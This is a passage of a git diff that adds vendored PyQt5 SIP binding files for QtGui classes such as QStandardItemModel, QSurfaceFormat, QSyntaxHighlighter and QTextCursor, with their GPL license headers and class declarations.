logicalDotsPerInchChanged(qreal dpi); + void primaryOrientationChanged(Qt::ScreenOrientation orientation); + void orientationChanged(Qt::ScreenOrientation orientation); + void refreshRateChanged(qreal refreshRate); + void physicalSizeChanged(const QSizeF &size); + void virtualGeometryChanged(const QRect &rect); +%If (Qt_5_4_0 -) + void availableGeometryChanged(const QRect &geometry); +%End + +public: +%If (Qt_5_9_0 -) + QString manufacturer() const; +%End +%If (Qt_5_9_0 -) + QString model() const; +%End +%If (Qt_5_9_0 -) + QString serialNumber() const; +%End +%If (Qt_5_15_0 -) + QScreen *virtualSiblingAt(QPoint point); +%End + +private: + QScreen(const QScreen &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsessionmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsessionmanager.sip new file mode 100644 index 00000000..736fd344 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsessionmanager.sip @@ -0,0 +1,62 @@ +// qsessionmanager.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SessionManager) + +class QSessionManager : QObject +{ +%TypeHeaderCode +#include +%End + + QSessionManager(QGuiApplication *app /TransferThis/, QString &id, QString &key); + virtual ~QSessionManager(); + +public: + QString sessionId() const; + QString sessionKey() const; + bool allowsInteraction(); + bool allowsErrorInteraction(); + void release(); + void cancel(); + + enum RestartHint + { + RestartIfRunning, + RestartAnyway, + RestartImmediately, + RestartNever, + }; + + void setRestartHint(QSessionManager::RestartHint); + QSessionManager::RestartHint restartHint() const; + void setRestartCommand(const QStringList &); + QStringList restartCommand() const; + void setDiscardCommand(const QStringList &); + QStringList discardCommand() const; + void setManagerProperty(const QString &name, const QString &value); + void setManagerProperty(const QString &name, const QStringList &value); + bool isPhase2() const; + void requestPhase2(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstandarditemmodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstandarditemmodel.sip new file mode 100644 index 00000000..329e288e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstandarditemmodel.sip @@ -0,0 +1,223 @@ +// qstandarditemmodel.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStandardItemModel : QAbstractItemModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QStandardItemModel(QObject *parent /TransferThis/ = 0); + QStandardItemModel(int rows, int columns, QObject *parent /TransferThis/ = 0); + virtual ~QStandardItemModel(); + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex parent(const QModelIndex &child) const; + QObject *parent() const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + virtual bool hasChildren(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::EditRole); + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; + virtual bool setHeaderData(int section, Qt::Orientation orientation, const QVariant &value, int role = Qt::EditRole); + virtual bool insertRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool insertColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + void clear(); + virtual Qt::DropActions supportedDropActions() const; + virtual QMap itemData(const QModelIndex &index) const; + virtual bool setItemData(const QModelIndex &index, const QMap &roles); + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); + QStandardItem *itemFromIndex(const QModelIndex &index) const; + QModelIndex indexFromItem(const QStandardItem *item) const; + QStandardItem *item(int row, int column = 0) const; + void setItem(int row, int column, QStandardItem *item /Transfer/); + void setItem(int arow, QStandardItem *aitem /Transfer/); + QStandardItem *invisibleRootItem() const /Transfer/; + QStandardItem *horizontalHeaderItem(int column) const; + void setHorizontalHeaderItem(int column, QStandardItem *item /Transfer/); + QStandardItem *verticalHeaderItem(int row) const; + void setVerticalHeaderItem(int row, QStandardItem *item /Transfer/); + void setHorizontalHeaderLabels(const QStringList &labels); + void setVerticalHeaderLabels(const QStringList &labels); + void setRowCount(int rows); + void setColumnCount(int columns); + void appendRow(const QList &items /Transfer/); + void appendColumn(const QList &items /Transfer/); + void insertRow(int row, const QList &items /Transfer/); + void insertColumn(int column, const QList &items /Transfer/); + QStandardItem *takeItem(int row, int column = 0) /TransferBack/; + QList takeRow(int row) /TransferBack/; + QList takeColumn(int column) /TransferBack/; + QStandardItem *takeHorizontalHeaderItem(int column) /TransferBack/; + QStandardItem *takeVerticalHeaderItem(int row) /TransferBack/; + const QStandardItem *itemPrototype() const; + void setItemPrototype(const QStandardItem *item /Transfer/); + QList findItems(const QString &text, Qt::MatchFlags flags = Qt::MatchExactly, int column = 0) const; + int sortRole() const; + void setSortRole(int role); + void appendRow(QStandardItem *aitem /Transfer/); + void insertRow(int arow, QStandardItem *aitem /Transfer/); + bool insertRow(int row, const QModelIndex &parent = QModelIndex()); + bool insertColumn(int column, const QModelIndex &parent = QModelIndex()); + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QModelIndexList &indexes) const /TransferBack/; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; + void setItemRoleNames(const QHash &roleNames); + +signals: + void itemChanged(QStandardItem *item); + +public: +%If (Qt_5_12_0 -) + bool clearItemData(const QModelIndex &index); +%End +}; + +class QStandardItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + QStandardItem(); + explicit QStandardItem(const QString &text); + QStandardItem(const QIcon &icon, const QString &text); + QStandardItem(int rows, int columns = 1); + virtual ~QStandardItem(); + virtual QVariant data(int role = Qt::UserRole + 1) const; + virtual void setData(const QVariant &value, int role = Qt::UserRole + 1); + QString text() const; + QIcon icon() const; + QString toolTip() const; + QString statusTip() const; + QString whatsThis() const; + QSize sizeHint() const; + QFont font() const; + Qt::Alignment textAlignment() const; + QBrush background() const; + QBrush foreground() const; + Qt::CheckState checkState() const; + QString accessibleText() const; + QString accessibleDescription() const; + Qt::ItemFlags flags() const; + void setFlags(Qt::ItemFlags flags); + bool isEnabled() const; + void setEnabled(bool enabled); + bool isEditable() const; + void setEditable(bool editable); + bool isSelectable() const; + void setSelectable(bool selectable); + bool isCheckable() const; + void setCheckable(bool checkable); + bool isTristate() const; + void setTristate(bool tristate); + bool isDragEnabled() const; + void setDragEnabled(bool dragEnabled); + bool isDropEnabled() const; + void setDropEnabled(bool dropEnabled); + QStandardItem *parent() const; + int row() const; + int column() const; + QModelIndex index() const; + QStandardItemModel *model() const; + int rowCount() const; + void setRowCount(int rows); + int columnCount() const; + void setColumnCount(int columns); + bool hasChildren() const; + QStandardItem *child(int row, int column = 0) const; + void setChild(int row, int column, QStandardItem *item /Transfer/); + void setChild(int arow, QStandardItem *aitem /Transfer/); + void insertRow(int row, const QList &items /Transfer/); + void insertRow(int arow, QStandardItem *aitem /Transfer/); + void insertRows(int row, int count); + void insertColumn(int column, const QList &items /Transfer/); + void insertColumns(int column, int count); + void removeRow(int row); + void removeColumn(int column); + void removeRows(int row, int count); + void removeColumns(int column, int count); + QStandardItem *takeChild(int row, int column = 0) /TransferBack/; + QList takeRow(int row) /TransferBack/; + QList takeColumn(int column) /TransferBack/; + void sortChildren(int column, Qt::SortOrder order = Qt::AscendingOrder); + virtual QStandardItem *clone() const /Factory/; + + enum ItemType + { + Type, + UserType, + }; + + virtual int type() const; + virtual void read(QDataStream &in); + virtual void write(QDataStream &out) const; + virtual bool operator<(const QStandardItem &other /NoCopy/) const; + void setText(const QString &atext); + void setIcon(const QIcon &aicon); + void setToolTip(const QString &atoolTip); + void setStatusTip(const QString &astatusTip); + void setWhatsThis(const QString &awhatsThis); + void setSizeHint(const QSize &asizeHint); + void setFont(const QFont &afont); + void setTextAlignment(Qt::Alignment atextAlignment); + void setBackground(const QBrush &abrush); + void setForeground(const QBrush &abrush); + void setCheckState(Qt::CheckState acheckState); + void setAccessibleText(const QString &aaccessibleText); + void setAccessibleDescription(const QString &aaccessibleDescription); + void appendRow(const QList &items /Transfer/); + void appendRow(QStandardItem *aitem /Transfer/); + void appendColumn(const QList &items /Transfer/); + void insertRows(int row, const QList &items /Transfer/); + void appendRows(const QList &items /Transfer/); + +protected: + QStandardItem(const QStandardItem &other); + void emitDataChanged(); + +public: +%If (Qt_5_6_0 -) + bool isAutoTristate() const; +%End +%If (Qt_5_6_0 -) + void setAutoTristate(bool tristate); +%End +%If (Qt_5_6_0 -) + bool isUserTristate() const; +%End +%If (Qt_5_6_0 -) + void setUserTristate(bool tristate); +%End +%If (Qt_5_12_0 -) + void clearData(); +%End +}; + +QDataStream &operator>>(QDataStream &in, QStandardItem &item /Constrained/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &out, const QStandardItem &item /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstatictext.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstatictext.sip new file mode 100644 index 00000000..50250f05 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstatictext.sip @@ -0,0 +1,60 @@ +// qstatictext.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStaticText +{ +%TypeHeaderCode +#include +%End + +public: + enum PerformanceHint + { + ModerateCaching, + AggressiveCaching, + }; + + QStaticText(); +%If (Qt_5_10_0 -) + explicit QStaticText(const QString &text); +%End +%If (- Qt_5_10_0) + QStaticText(const QString &text); +%End + QStaticText(const QStaticText &other); + ~QStaticText(); + void setText(const QString &text); + QString text() const; + void setTextFormat(Qt::TextFormat textFormat); + Qt::TextFormat textFormat() const; + void setTextWidth(qreal textWidth); + qreal textWidth() const; + void setTextOption(const QTextOption &textOption); + QTextOption textOption() const; + QSizeF size() const; + void prepare(const QTransform &matrix = QTransform(), const QFont &font = QFont()); + void setPerformanceHint(QStaticText::PerformanceHint performanceHint); + QStaticText::PerformanceHint performanceHint() const; + bool operator==(const QStaticText &) const; + bool operator!=(const QStaticText &) const; + void swap(QStaticText &other /Constrained/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstylehints.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstylehints.sip new file mode 100644 index 00000000..e1cfdabd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qstylehints.sip @@ -0,0 +1,139 @@ +// qstylehints.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStyleHints : QObject +{ +%TypeHeaderCode +#include +%End + +public: + int mouseDoubleClickInterval() const; + int startDragDistance() const; + int startDragTime() const; + int startDragVelocity() const; + int keyboardInputInterval() const; + int keyboardAutoRepeatRate() const; + int cursorFlashTime() const; + bool showIsFullScreen() const; + int passwordMaskDelay() const; + qreal fontSmoothingGamma() const; + bool useRtlExtensions() const; +%If (Qt_5_1_0 -) + QChar passwordMaskCharacter() const; +%End +%If (Qt_5_2_0 -) + bool setFocusOnTouchRelease() const; +%End +%If (Qt_5_3_0 -) + int mousePressAndHoldInterval() const; +%End +%If (Qt_5_5_0 -) + Qt::TabFocusBehavior tabFocusBehavior() const; +%End +%If (Qt_5_5_0 -) + bool singleClickActivation() const; +%End + +signals: +%If (Qt_5_5_0 -) + void cursorFlashTimeChanged(int cursorFlashTime); +%End +%If (Qt_5_5_0 -) + void keyboardInputIntervalChanged(int keyboardInputInterval); +%End +%If (Qt_5_5_0 -) + void mouseDoubleClickIntervalChanged(int mouseDoubleClickInterval); +%End +%If (Qt_5_5_0 -) + void startDragDistanceChanged(int startDragDistance); +%End +%If (Qt_5_5_0 -) + void startDragTimeChanged(int startDragTime); +%End +%If (Qt_5_7_0 -) + void mousePressAndHoldIntervalChanged(int mousePressAndHoldInterval); +%End +%If (Qt_5_7_0 -) + void tabFocusBehaviorChanged(Qt::TabFocusBehavior tabFocusBehavior); +%End + +public: +%If (Qt_5_6_0 -) + bool showIsMaximized() const; +%End +%If (Qt_5_8_0 -) + bool useHoverEffects() const; +%End +%If (Qt_5_8_0 -) + void setUseHoverEffects(bool useHoverEffects); +%End + +signals: +%If (Qt_5_8_0 -) + void useHoverEffectsChanged(bool useHoverEffects); +%End + +public: +%If (Qt_5_9_0 -) + int wheelScrollLines() const; +%End + +signals: +%If (Qt_5_9_0 -) + void wheelScrollLinesChanged(int scrollLines); +%End + +public: +%If (Qt_5_10_0 -) + bool showShortcutsInContextMenus() const; +%End +%If (Qt_5_11_0 -) + int mouseQuickSelectionThreshold() const; +%End + +signals: +%If (Qt_5_11_0 -) + void mouseQuickSelectionThresholdChanged(int threshold); +%End + +public: +%If (Qt_5_13_0 -) + void setShowShortcutsInContextMenus(bool showShortcutsInContextMenus); +%End + +signals: +%If (Qt_5_13_0 -) + void showShortcutsInContextMenusChanged(bool); +%End + +public: +%If (Qt_5_14_0 -) + int mouseDoubleClickDistance() const; +%End +%If (Qt_5_14_0 -) + int touchDoubleTapDistance() const; +%End + +private: + QStyleHints(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsurface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsurface.sip new file mode 100644 index 00000000..3fcd79dc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsurface.sip @@ -0,0 +1,67 @@ +// qsurface.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSurface /Abstract/ +{ +%TypeHeaderCode +#include +%End + +public: + enum SurfaceClass + { + Window, +%If (Qt_5_1_0 -) + Offscreen, +%End + }; + + enum SurfaceType + { + RasterSurface, + OpenGLSurface, +%If (Qt_5_3_0 -) + RasterGLSurface, +%End +%If (Qt_5_9_0 -) + OpenVGSurface, +%End +%If (Qt_5_10_0 -) + VulkanSurface, +%End +%If (Qt_5_12_0 -) + MetalSurface, +%End + }; + + virtual ~QSurface(); + QSurface::SurfaceClass surfaceClass() const; + virtual QSurfaceFormat format() const = 0; + virtual QSurface::SurfaceType surfaceType() const = 0; + virtual QSize size() const = 0; +%If (Qt_5_3_0 -) + bool supportsOpenGL() const; +%End + +protected: + explicit QSurface(QSurface::SurfaceClass type); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsurfaceformat.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsurfaceformat.sip new file mode 100644 index 00000000..b8481013 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsurfaceformat.sip @@ -0,0 +1,147 @@ +// qsurfaceformat.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSurfaceFormat +{ +%TypeHeaderCode +#include +%End + +public: + enum FormatOption + { + StereoBuffers, + DebugContext, + DeprecatedFunctions, +%If (Qt_5_5_0 -) + ResetNotification, +%End + }; + + typedef QFlags FormatOptions; + + enum SwapBehavior + { + DefaultSwapBehavior, + SingleBuffer, + DoubleBuffer, + TripleBuffer, + }; + + enum RenderableType + { + DefaultRenderableType, + OpenGL, + OpenGLES, + OpenVG, + }; + + enum OpenGLContextProfile + { + NoProfile, + CoreProfile, + CompatibilityProfile, + }; + + QSurfaceFormat(); + QSurfaceFormat(QSurfaceFormat::FormatOptions options); + QSurfaceFormat(const QSurfaceFormat &other); + ~QSurfaceFormat(); + void setDepthBufferSize(int size); + int depthBufferSize() const; + void setStencilBufferSize(int size); + int stencilBufferSize() const; + void setRedBufferSize(int size); + int redBufferSize() const; + void setGreenBufferSize(int size); + int greenBufferSize() const; + void setBlueBufferSize(int size); + int blueBufferSize() const; + void setAlphaBufferSize(int size); + int alphaBufferSize() const; + void setSamples(int numSamples); + int samples() const; + void setSwapBehavior(QSurfaceFormat::SwapBehavior behavior); + QSurfaceFormat::SwapBehavior swapBehavior() const; + bool hasAlpha() const; + void setProfile(QSurfaceFormat::OpenGLContextProfile profile); + QSurfaceFormat::OpenGLContextProfile profile() const; + void setRenderableType(QSurfaceFormat::RenderableType type); + QSurfaceFormat::RenderableType renderableType() const; + void setMajorVersion(int majorVersion); + int majorVersion() const; + void setMinorVersion(int minorVersion); + int minorVersion() const; + void setStereo(bool enable); + void setOption(QSurfaceFormat::FormatOptions opt); + bool testOption(QSurfaceFormat::FormatOptions opt) const; + bool stereo() const; +%If (Qt_5_1_0 -) + QPair version() const; +%End +%If (Qt_5_1_0 -) + void setVersion(int major, int minor); +%End +%If (Qt_5_3_0 -) + void setOptions(QSurfaceFormat::FormatOptions options); +%End +%If (Qt_5_3_0 -) + void setOption(QSurfaceFormat::FormatOption option, bool on = true); +%End +%If (Qt_5_3_0 -) + bool testOption(QSurfaceFormat::FormatOption option) const; +%End +%If (Qt_5_3_0 -) + QSurfaceFormat::FormatOptions options() const; +%End +%If (Qt_5_3_0 -) + int swapInterval() const; +%End +%If (Qt_5_3_0 -) + void setSwapInterval(int interval); +%End +%If (Qt_5_4_0 -) + static void setDefaultFormat(const QSurfaceFormat &format); +%End +%If (Qt_5_4_0 -) + static QSurfaceFormat defaultFormat(); +%End +%If (Qt_5_10_0 -) + + enum ColorSpace + { + DefaultColorSpace, + sRGBColorSpace, + }; + +%End +%If (Qt_5_10_0 -) + QSurfaceFormat::ColorSpace colorSpace() const; +%End +%If (Qt_5_10_0 -) + void setColorSpace(QSurfaceFormat::ColorSpace colorSpace); +%End +}; + +bool operator==(const QSurfaceFormat &, const QSurfaceFormat &); +bool operator!=(const QSurfaceFormat &, const QSurfaceFormat &); +QFlags operator|(QSurfaceFormat::FormatOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsyntaxhighlighter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsyntaxhighlighter.sip new file mode 100644 index 00000000..16e27083 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qsyntaxhighlighter.sip @@ -0,0 +1,92 @@ +// qsyntaxhighlighter.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSyntaxHighlighter : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSyntaxHighlighter(QTextDocument *parent /TransferThis/); + explicit QSyntaxHighlighter(QObject *parent /TransferThis/); + virtual ~QSyntaxHighlighter(); + void setDocument(QTextDocument *doc /KeepReference/); + QTextDocument *document() const; + +public slots: + void rehighlight(); + void rehighlightBlock(const QTextBlock &block); + +protected: + virtual void highlightBlock(const QString &text) = 0; + void setFormat(int start, int count, const QTextCharFormat &format); + void setFormat(int start, int count, const QColor &color); + void setFormat(int start, int count, const QFont &font); + QTextCharFormat format(int pos) const; + int previousBlockState() const; + int currentBlockState() const; + void setCurrentBlockState(int newState); + void setCurrentBlockUserData(QTextBlockUserData *data /GetWrapper/); +%MethodCode + // Ownership of the user data is with the document not the syntax highlighter. + + typedef PyObject *(*helper_func)(QObject *, const sipTypeDef *); + + static helper_func helper = 0; + + if (!helper) + { + helper = (helper_func)sipImportSymbol("qtgui_wrap_ancestors"); + Q_ASSERT(helper); + } + + QTextDocument *td = sipCpp->document(); + + if (td) + { + PyObject *py_td = helper(td, sipType_QTextDocument); + + if (!py_td) + { + sipIsErr = 1; + } + else + { + sipTransferTo(a0Wrapper, py_td); + Py_DECREF(py_td); + } + } + + #if defined(SIP_PROTECTED_IS_PUBLIC) + sipCpp->setCurrentBlockUserData(a0); + #else + sipCpp->sipProtect_setCurrentBlockUserData(a0); + #endif +%End + + QTextBlockUserData *currentBlockUserData() const; + QTextBlock currentBlock() const; + +private: + QSyntaxHighlighter(const QSyntaxHighlighter &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextcursor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextcursor.sip new file mode 100644 index 00000000..dd71c4b0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextcursor.sip @@ -0,0 +1,155 @@ +// qtextcursor.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextCursor +{ +%TypeHeaderCode +#include +%End + +public: + QTextCursor(); + explicit QTextCursor(QTextDocument *document); + explicit QTextCursor(QTextFrame *frame); + explicit QTextCursor(const QTextBlock &block); + QTextCursor(const QTextCursor &cursor); + ~QTextCursor(); + bool isNull() const; + + enum MoveMode + { + MoveAnchor, + KeepAnchor, + }; + + void setPosition(int pos, QTextCursor::MoveMode mode = QTextCursor::MoveAnchor); + int position() const; + int anchor() const; + void insertText(const QString &text); + void insertText(const QString &text, const QTextCharFormat &format); + + enum MoveOperation + { + NoMove, + Start, + Up, + StartOfLine, + StartOfBlock, + StartOfWord, + PreviousBlock, + PreviousCharacter, + PreviousWord, + Left, + WordLeft, + End, + Down, + EndOfLine, + EndOfWord, + EndOfBlock, + NextBlock, + NextCharacter, + NextWord, + Right, + WordRight, + NextCell, + PreviousCell, + NextRow, + PreviousRow, + }; + + bool movePosition(QTextCursor::MoveOperation op, QTextCursor::MoveMode mode = QTextCursor::MoveAnchor, int n = 1); + void deleteChar(); + void deletePreviousChar(); + + enum SelectionType + { + WordUnderCursor, + LineUnderCursor, + BlockUnderCursor, + Document, + }; + + void select(QTextCursor::SelectionType selection); + bool hasSelection() const; + bool hasComplexSelection() const; + void removeSelectedText(); + void clearSelection(); + int selectionStart() const; + int selectionEnd() const; + QString selectedText() const; + QTextDocumentFragment selection() const; + void selectedTableCells(int *firstRow, int *numRows, int *firstColumn, int *numColumns) const; + QTextBlock block() const; + QTextCharFormat charFormat() const; + void setCharFormat(const QTextCharFormat &format); + void mergeCharFormat(const QTextCharFormat &modifier); + QTextBlockFormat blockFormat() const; + void setBlockFormat(const QTextBlockFormat &format); + void mergeBlockFormat(const QTextBlockFormat &modifier); + QTextCharFormat blockCharFormat() const; + void setBlockCharFormat(const QTextCharFormat &format); + void mergeBlockCharFormat(const QTextCharFormat &modifier); + bool atBlockStart() const; + bool atBlockEnd() const; + bool atStart() const; + bool atEnd() const; + void insertBlock(); + void insertBlock(const QTextBlockFormat &format); + void insertBlock(const QTextBlockFormat &format, const QTextCharFormat &charFormat); + QTextList *insertList(const QTextListFormat &format); + QTextList *insertList(QTextListFormat::Style style); + QTextList *createList(const QTextListFormat &format); + QTextList *createList(QTextListFormat::Style style); + QTextList *currentList() const; + QTextTable *insertTable(int rows, int cols, const QTextTableFormat &format); + QTextTable *insertTable(int rows, int cols); + QTextTable *currentTable() const; + QTextFrame *insertFrame(const QTextFrameFormat &format); + QTextFrame *currentFrame() const; + void insertFragment(const QTextDocumentFragment &fragment); + void insertHtml(const QString &html); + void insertImage(const QTextImageFormat &format); + void insertImage(const QTextImageFormat &format, QTextFrameFormat::Position alignment); + void insertImage(const QString &name); + void insertImage(const QImage &image, const QString &name = QString()); + void beginEditBlock(); + void joinPreviousEditBlock(); + void endEditBlock(); + int blockNumber() const; + int columnNumber() const; + bool operator!=(const QTextCursor &rhs) const; + bool operator<(const QTextCursor &rhs) const; + bool operator<=(const QTextCursor &rhs) const; + bool operator==(const QTextCursor &rhs) const; + bool operator>=(const QTextCursor &rhs) const; + bool operator>(const QTextCursor &rhs) const; + bool isCopyOf(const QTextCursor &other) const; + bool visualNavigation() const; + void setVisualNavigation(bool b); + QTextDocument *document() const; + int positionInBlock() const; + void setVerticalMovementX(int x); + int verticalMovementX() const; + void setKeepPositionOnInsert(bool b); + bool keepPositionOnInsert() const; + void swap(QTextCursor &other /Constrained/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocument.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocument.sip new file mode 100644 index 00000000..0e759484 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocument.sip @@ -0,0 +1,228 @@ +// qtextdocument.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// 